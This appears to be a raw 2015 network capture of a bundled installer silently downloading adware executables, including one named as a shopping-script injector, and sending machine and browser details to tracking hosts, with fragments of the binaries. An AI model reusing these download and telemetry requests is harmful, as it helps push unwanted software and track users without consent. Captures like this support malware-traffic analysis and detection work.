HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:30 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: i2wFdEyawdeZYFnFA7OgL44fJ8U fqfexDzyHER5L/7BaO02d2wQbCfM MLNBbmTfYvILalCECM=
x-amz-request-id: 8DCD496A88419911
Last-Modified: Tue, 14 Apr 2015 05:20:04 GMT
ETag: "1d3374710779765f74bfc2e8342bef88"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1500000-1749999/4737291
q.....2 ...o..n.8.Z...)Z...'Nz..P.,..#..F..!..9..a._...nSx..YB....cx..
[email protected]_.Q.......a.f...v.....DP.Hd....6v.f..s.B.......{.....gQ.. ..
....C.g..V....l.H.5S.3.....&7.E..x.;L....t$..E...n?Urb.W..Gt..D..t.U=l
.D.~..v..M......<..a...g....G...,...:..KC./mh..MEh....T.1....Tf.!..
~.6...s....g".....L.i'...'7AP../.E*.?...Zc..{A..z..*z$..v.....c.d.Pj&l
t;...}IC..3.6..:z.V0)../H.....(.>.?..l<..2h...vU..f..h#.....*.\.
.Z.0\...tP.l} .._'.W.}.#....P.=..........4...o.'E...*....$.&.K.P...d..
..[S..M..k..Q[]..{..z~...S.......S.c..._..;...h....[..`..D....9)V...|S
........').....E...7.~q.U...D.T.i.S.H........J1..z{z. ..^Lz.Di]^~..k.1
.v...-T. ./.K..t.5../..Y.H...6n.._.W*..M?UI.(..C6CPC.`...A.._....../.C
.=...]FC....`$....>2..{yN...)c.Co.....|..Z....E.zP.|M.....Z56.g..:7
UM$..'.O.f*../...6..0F......<...R.....Jl.".... %z.|.(..mP...:..Z.".
.d.....6...K|.......7.O\.....G.....TQ..#......S...9..f...C...E...".p.w
..d........x.U/.f.N.......J..7/]........>"-.......2.9E.GH.i.....7D.
q.2.;X]U]X.`....N...0.......kL.....93'.rdD..)..W^[email protected]..&..].#...2
..v..~...3.3..Q.kY..H.Hy......N..k..........~.....&f..........Gv.....w
....>p....f.2)......5/t.$..B...B.G........BB0......bZ.7.l.Z.Y).H..Q
....EW....F.... #.."^.c.. ..%..;....c9J..3.....e..1X.. e...^OZ..y..=..
...w.Kc.....2&9..W..y..7.[?..q.A.k..CK.....{....D#..& 4.....E..O.I...J
[email protected] ...n....m...2..V...{!.....i..KoU.;!\...k~...U..Z8.n
./.....{AN..U.........|z..Z..v..".9I..K.QUD..8.}4....J.n..z...9.$.nm..
.....J...R......:...L.w.......a........_G..m..... .....t....hV..*.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 5wced03drl-su78sj1t.netdna-ssl.com
Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 5wced03drl-su78sj1t.netdna-ssl.com
Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=2750000-2999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 5wced03drl-su78sj1t.netdna-ssl.com
Connection: Keep-Alive



.6$H....O7.v..h.z.......Q.=..w..\....N.P..r.B....3~PV:.3.Lj{..........
....:....J......r...^.}.......:.R..r....5.rO...B...@8.%..&V.9..T......
."[email protected].'Lt....:P......!v.N.9..[.d...?.
.....Qz.R..A........c...e.N.=...7...s<..EE..J..F5..j.'.f..-.W..R.i9
t.N'HV..x...,....2.2a7...<.0.......W}..{....<.Jl..k.`p."y.....3s
9.^*.yP/....DETq.P. ..... ...&}..:..#.h.s>I2]>.g...A...x.....jo.
..........y...!...%T.....F......Zk>... 2sG........Y..j.}.8....i.@.&
gt;)M..L..F..r_-........2.....;...e.....Y..:([s.....n...x.z...R...5..0
..v.......Kb.Lj...o..ca....D$.<..K.^...&x......I.....a...zM..CD.12b
....U......k..,H..JH.g4..I.K.=..4T....I?.d......-8q<..........e....
p)...S..d.).4f7.S.L.I..x&..&..>.x..... ..p3*.Amdh.._m.a....f.;r.O..
....}....''..U...~....J.Z..H......2...f.AT..@.~OH...]. gL..O.o.....@..
...-~.x%..&.#...M...k.....S........X.....~..n............9...O.../O..K
kJw0D.....7....FA..t Qp...|.%..<&.......|..c......@6...}-c..!._....
..,[...i!.W([email protected]^..w......!......a....;Lz. ..Q..cu.c..s.8.*I
.Rc....%.6...^[email protected].....(..4......F.$. .K.iS.b.kY........CL.|.j
.K..... \..8\.....Q0O...T..........,.^..0$....R[.i./.{...)............
.......S....:<:;...z..A...Dp^..:[email protected]/...:r.!e.Z.........
.3.....((.0...'/....O........pp.A..l..v..gm.7...O.9.{p....U.@p}F.0..m-
.O....o..n2A.*l.>...X.bV...bH....{..zF........r..*mYW...<.g.....
._$....E.......P....V$.).....o.......x...O{...8]y... 7y#..H... .(...lE
.-.......K.D.....p..g!t`....J...=1.=Y..R.........R.HX.C.6,.&....A.
<<< skipped >>>


GET /app/ping.ashx?e=ivSYnxWU6cjhuuY8t0g74kvCwL3GJiShhDSdjic6cuPYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBv4H8baHsOR69rCVSgOD piBkFOI09ScJ&product=EXTFirefox&rnd=1429064931&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1 HTTP/1.1
Host: rep.youtubeaccelerator.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:49 GMT
Content-Length: 0



GET /pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=2&index_in_screen=1&index_in_session=2&0.028429316928330894 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:42 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:28:42 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=3&index_in_screen=1&index_in_session=3&0.5027052189276173 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:44 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:28:44 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_35&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429064926&procruntime=3&rnd=1429064929 HTTP/1.1
Host: stats.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: NfnSamB1slf0/bwfIHTU0eacM142xvAOZGdrirN52zK39xCtyCDhWRgraEA8I7ZqwPHXHrvyp8M=
x-amz-request-id: 1AC3EE16E9F95412
Date: Wed, 15 Apr 2015 02:28:50 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:33:18 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: NfnSam
B1slf0/bwfIHTU0eacM142xvAOZGdrirN52zK39xCtyCDhWRgraEA8I7ZqwPHXHrvyp8M=
..x-amz-request-id: 1AC3EE16E9F95412..Date: Wed, 15 Apr 2015 02:28:50 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 31 Mar 2015 09:33:18 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_35&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=16&rnd=1429064942 HTTP/1.1


Host: stats.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: sRR/67ffAk9G 95SMAzXzGJBGRJi48QUhN3o4F665GOY5 A7HDjWpW9jhZ HvW7UvbGqntgmmG8=
x-amz-request-id: B5BA2A516E91C48C
Date: Wed, 15 Apr 2015 02:29:03 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:33:18 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429064926&lifetime=0&silent=1&crtnm=na&procstarttime=1429064926&procruntime=16&rnd=1429064942 HTTP/1.1


Host: stats.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: hETe6OkgC5Gc1TlqLctdlkT JxglvgPO753Yu5LpwvvkG4zLxMPTNyTIZzHRKS8kSYq9fxt2c4A=
x-amz-request-id: 64A7FCFB136A4B43
Date: Wed, 15 Apr 2015 02:29:03 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:32:56 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: hETe6O
kgC5Gc1TlqLctdlkT JxglvgPO753Yu5LpwvvkG4zLxMPTNyTIZzHRKS8kSYq9fxt2c4A=
..x-amz-request-id: 64A7FCFB136A4B43..Date: Wed, 15 Apr 2015 02:29:03 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 31 Mar 2015 09:32:56 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 14 Apr 2015 18:58:52 GMT
Content-Range: bytes 0-1286328/1286329
X-Cache: Miss from cloudfront
Via: 1.1 a91cbae24982da55d450a613d1626660.cloudfront.net (CloudFront)
X-Amz-Cf-Id: rsfJB1Zwh-01PI1IveY1h1K1bUhjOi6ZpktIYXNl81TT7NNp0PoE9Q==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /grooveshark/download/install.exe HTTP/1.1
Range: bytes=1115873-
User-Agent: Better Installer(Mozilla)
Host: VVV.scilor.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:27:27 GMT
Server: Apache/2
Last-Modified: Fri, 17 Oct 2014 07:36:29 GMT
ETag: "883706-505996c51f940"
Accept-Ranges: bytes
Content-Length: 7811109
Content-Range: bytes 1115873-8926981/8926982
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
\x...N..g....5|....E.g...Mb.Im-=.s..#.{Q..)~.....t..X..)..b.....r.[#..
..cr.!.;..9............z..b....f..J.M~.......K.H(.1...e.........T.ZrAf
..X.L..\..`.>....&...^......^.\..bF...w.. ...5.bv.W.!...`b..^.....@
..>d..`._..k} {....e...e....S......o..'{..,q.Ux..$..L..}../.....5Z.
.B*..w6\.)9...?<.....9.....b.8..zHa.....3C.......y.mn.`.pK....}.'A.
.|v.o...Y.I..r..5..BO..u.%...\;..g`'r.Klp)u..D.q;O.N...._u'j._t.N=.~..
:./......}b..~g..|s|..j.%[email protected].>.;.>...`.q.lYHJ. ..a.
u...s.qU..Zf.^,..... mX7*.#".....H.`r.....~..AkbIy6..B....N..O....G2.m
..(]....(i'bn.5.B...o..|c...d.)J.u{.]s ...a.W....h.e..........w.J...6$
....g..:~...9?....{.tu'.....[.8?.r. .W:bv.CV.dN<. J"E.Y..=5;jqU.'..
.............:$......._.....H.4.....5.aa.[....%....Sa....8e..XF..9....
 ....;.....2....lbx.>...{........y.t~c.J.; .....c.......=.. .;..)l.
p.6......u.^..9.s/aZ.v.[*L3b.v..).B.rn/j.BK.7nIJ..P5...E.'P!F".t9A..T.
....H...>.M.L.N...T.2>.i-.....S...~[....uDAh.#.AOQs...I.K.(..t.]
G#.m.KR...1... .5.b.....a`.L?*"..)u.......`.z<.^....V.{..1.._....z.
.1.w...Q....~...X....p.q.8...b.}k].........UF%)..lp..B.......H, .9...g
..F"........Z......Qs....*.....NGd\SK....nN.T..x.T.`.....w...H.#...H..
.vOc.H............=.....Q.hf..;..;b.7b#.5.....x..0.."w#?v....<1C)..
..V....4.s.?>[email protected]{..x.{..w...Ir.~...6.-
:..\0..;.'......k#..b.u.;....K 6..v.../....0....*>....p.3..e.e..o.[
.../.~#4.6q.N..6#.[.....UD".o#]....l..;.fS..^^d..\?E...ths..........v.
Cz..L."..V.]..`[email protected]....
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.usertrust.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:32:02 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Tue, 14 Apr 2015 16:29:13 GMT
Expires: Sat, 18 Apr 2015 16:29:13 GMT
ETag: C4211A3D7D3783AE4FDC9822036CED2B1659B30A
Cache-Control: max-age=308830,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: h6edcaocsp3
Content-Length: 471
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0...... .F....e*F.yG.b.......2015041
4162913Z0s0q0I0... ........m..Lco.>..... _.~..... .F....e*F.yG.b...
.....p.O.T..0`....u.....20150414162913Z....20150418162913Z0...*.H.....
........p..g.%..Gv....M...n..#M.G...r..B...q...Z.d...p0...k.7j...$.}..
Bi.....-"%...z..........`.;...h.z..{.O.x....<^.....t.3X..U..Z^...'.
W..bESr.D..R.N.Xl...Ni'...1Q......?.....r.~...<....Y',p.=.a'....g.u
[email protected]. [email protected].."....5...Q.R.....(.....



GET /root.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.globalsign.net


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:32:05 GMT
Content-Type: application/x-pkcs7-crl
Content-Length: 649
Connection: keep-alive
Set-Cookie: __cfduid=de79453312be3c069424fcc45e3c6f0a81429065125; expires=Thu, 14-Apr-16 02:32:05 GMT; path=/; domain=.globalsign.net; HttpOnly
Expires: Wed, 15 Jul 2015 00:00:00 GMT
Last-Modified: Mon, 23 Mar 2015 00:00:00 GMT
Cache-Control: public, max-age=7853275
CF-Cache-Status: HIT
Accept-Ranges: bytes
Server: cloudflare-nginx
CF-RAY: 1d743ce9f1aa0f63-FRA
0...0..m...0...*.H........0W1.0...U....BE1.0...U....GlobalSign nv-sa1.
0...U....Root CA1.0...U....GlobalSign Root CA..150323000000Z..15071500
0000Z0..0*.........D.....141125000000Z0.0...U.......0*........)E.....1
41125000000Z0.0...U.......0*........ ...h..141125000000Z0.0...U.......
0*........,^.....141125000000Z0.0...U......../0-0...U......00...U.#..0
...`{f.E....P/}..4....K0...*.H.............&...f#...5.[4........{pV.#.
F........:...*Q.....Mx9}....,.S.D.>@.Ju.[)c...`.?.j~...-..{.FHj....
.#.C2.[.,`.......)...Bj2........n...........%......p.6......Q.....1..p
d......F.........mJO.!y.W.......V.M).N.R.....V..|...7.ry. ..gy..I\....
.....j....... .z.E..".HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:32:05
 GMT..Content-Type: application/x-pkcs7-crl..Content-Length: 649..Conn
ection: keep-alive..Set-Cookie: __cfduid=de79453312be3c069424fcc45e3c6
f0a81429065125; expires=Thu, 14-Apr-16 02:32:05 GMT; path=/; domain=.g
lobalsign.net; HttpOnly..Expires: Wed, 15 Jul 2015 00:00:00 GMT..Last-
Modified: Mon, 23 Mar 2015 00:00:00 GMT..Cache-Control: public, max-ag
e=7853275..CF-Cache-Status: HIT..Accept-Ranges: bytes..Server: cloudfl
are-nginx..CF-RAY: 1d743ce9f1aa0f63-FRA..0...0..m...0...*.H........0W1
.0...U....BE1.0...U....GlobalSign nv-sa1.0...U....Root CA1.0...U....Gl
obalSign Root CA..150323000000Z..150715000000Z0..0*.........D.....1411
25000000Z0.0...U.......0*........)E.....141125000000Z0.0...U.......0*.
....... ...h..141125000000Z0.0...U.......0*........,^.....141125000000
Z0.0...U......../0-0...U......00...U.#..0...`{f.E....P/}..4....K0.
<<< skipped >>>


GET /gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhZyg35kUM7JUe4UHDT5+Nwg== HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp2.globalsign.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:32:04 GMT
Content-Type: application/ocsp-response
Content-Length: 1493
Connection: keep-alive
Set-Cookie: __cfduid=d2b0c0c85aaa54979d34c665c312985d11429065124; expires=Thu, 14-Apr-16 02:32:04 GMT; path=/; domain=.globalsign.com; HttpOnly
X-Powered-By: Servlet/3.0; JBossAS-6
ETag: f53f36f7fe9c549e36e44b289129d4af87b14c4d
Expires: Wed, 15 Apr 2015 08:48:58 GMT
Last-Modified: Tue, 14 Apr 2015 20:48:58 GMT
Cache-Control: max-age=180, public, no-transform, must-revalidate
CF-Cache-Status: EXPIRED
Server: cloudflare-nginx
CF-RAY: 1d743ce2c5dd0f4b-FRA
0..........0..... .....0......0...0.......9e.K.....__..........2015041
4204858Z0u0s0K0... ........)[email protected]...^./.....2k.
..!g(7.E.....A.O.......20150414204858Z....20150415084858Z0...*.H......
........4'/p.>.W\"...JFe.X.*.U.....p.S.....x...3V....T.a..k.Z......
H.MW.h.kv......C....J.......U.....)....{..P._...h.N.2.....2@{....... .
.8.G.B.6Oa..s..7..t......{..T........7.y:#/..,.....k..A...>.K.._...
...H..P.....u...d.(<.I...>..@f. ..."..../..Zb.. ........w....0..
.0...0...........!J .v...._......60...*.H........0Z1.0...U....BE1.0...
U....GlobalSign nv-sa100...U...'GlobalSign CodeSigning CA - SHA256 - G
20...150324152349Z..150624142349Z0..1.0...U....BE1.0...U....GlobalSign
 nv-sa1C0A..U...:GlobalSign CodeSigning CA - SHA256 - G2 OCSP responde
r - 11.0...U....201503241623000.."0...*.H.............0.........8..|Z.
....|j......q..*d....Q...{.;G....%.!(9.gD...k.. ....(....~&.(........a
'.o...%..ap...x...5*.........Vx.......55.....7..5....kL..E1M...L....?.
..s....#...,n........../...'..:...z..R.....w...Fw.n...nd.e....0v.^....
...">G..}|..z.Y*<:./.D&.j.9.)../...rD.A........0..0...U....0.0..
.U...........0...U.%..0... .......0... .....0......0...U.......9e.K...
..__........0...U.#..0....J.Z.M1...^./.....2k0...*.H................}[
...xH..t-N..e...cSd..0.4.&.m......2J...r.....4.d..m... .>..uS.w...4
.>.(...A.....h...:=..\q.l.hf.t"...=........=..Z...Z.....K.v...Y. ..
......'B.C...U3........h?....b...!1.<h.%4...o.h.{..!.!Y.G....."...H
.Q.q.>..a.<.......G.7..X.OM..>7|b.....i.q....u..kF..
<<< skipped >>>


GET /app/ping.ashx?e=R4rdFlCMSnRUzMSzzHoKeRn22zHWoY/Q2YTeaOaZJPFysSIQM/WMqtGQDVZU32tJqokWMN8GCQ/ZKuiB0ryxZL6vs2JJATJ04VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjAvVZI1gyGAhENo9/0ma3IeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa5BQwiQopi7LzbANYrsS2gTtzAGhxGYFG HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:41 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 15 Apr 20
15 02:28:41 GMT..Content-Length: 0......


GET /app/ping.ashx?e=hXeqmv1IpelezyBKiN6u MmULrK7uidv62ls PLHCLDT03ZwnpMmri4u 59fITlqgIuHhVdsQPLOGb/omYmI4seFfSuOsPNu51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxqk0Qj7UNark7RjcTQqXmcPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY50Fo0VHUKvToNI b/R1vzz Ju4GRmccrCXhClwiNX4uk= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:42 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 15 Apr 20
15 02:28:42 GMT..Content-Length: 0......


GET /app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCFTMxLPMegp5uQCvJzqHBQDZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0lFniNYS8SCXUh6jr A64ihaK9hL93ata/0Dx2m 0F47aFzcNuM2tbw9BidDXGgpIGJlifxMfc97cyVb1EWo6eKJH9U/ACsdnVAwKDd eIotbOne3jMJ7z31g28yHncZl0ry31KNAk1YoAnTx32zhJvgkLrIxNpbuQ5pP236R990NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5o0oOHh2ZuBol7seRJcZZoNfTRfIhT5MdIjmlqkwahXnm1fbP01zi3GriK1y4p4Uys5hz/NFhrykB6FgH4ntItg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:42 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 15 Apr 20
15 02:28:42 GMT..Content-Length: 0..



GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1
Cache-Control: max-age = 900
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Tue, 24 Mar 2015 05:02:25 GMT
If-None-Match: "a1132b8ef65d01:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 304 Not Modified
